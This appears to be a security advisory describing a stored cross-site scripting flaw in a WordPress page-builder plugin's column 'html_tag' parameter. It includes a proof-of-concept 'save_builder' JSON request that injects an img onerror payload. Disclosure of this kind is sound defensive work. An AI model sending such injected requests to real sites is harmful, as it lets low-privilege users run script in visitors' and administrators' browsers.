In the plugin, the column element (includes/elements/column.php) accepts an ‘html_tag’ parameter. Although the element control lists a fixed set of possible html tags, it is possible for a user with Contributor or above permissions to send a modified ‘save_builder’ request containing JavaScript in the ‘html_tag’ parameter, which is not filtered and is output without escaping. This JavaScript will then be executed when the saved page is viewed or previewed.
{“save_builder”:{“action”:“save_builder”,“data”:{“status”:“pending”,“elements”:[{“id”:“54e9edd”,“elType”:“section”,“isInner”:false,“settings”:{“structure”:“20”},“elements”:[{“id”:“23f46b5”,“elType”:“column”,“isInner”:false,“settings”:{“_column_size”:50,“_inline_size”:null},“elements”:[]},{“id”:“242ce6a”,“elType”:“column”,“isInner”:false,“settings”:{“_column_size”:50,“_inline_size”:null,“html_tag”:“img src="" onerror="alert();"”},“elements”:[]}]}],“settings”:{“post_title”:“columnpoc attr”,“post_status”:“pending”}}}}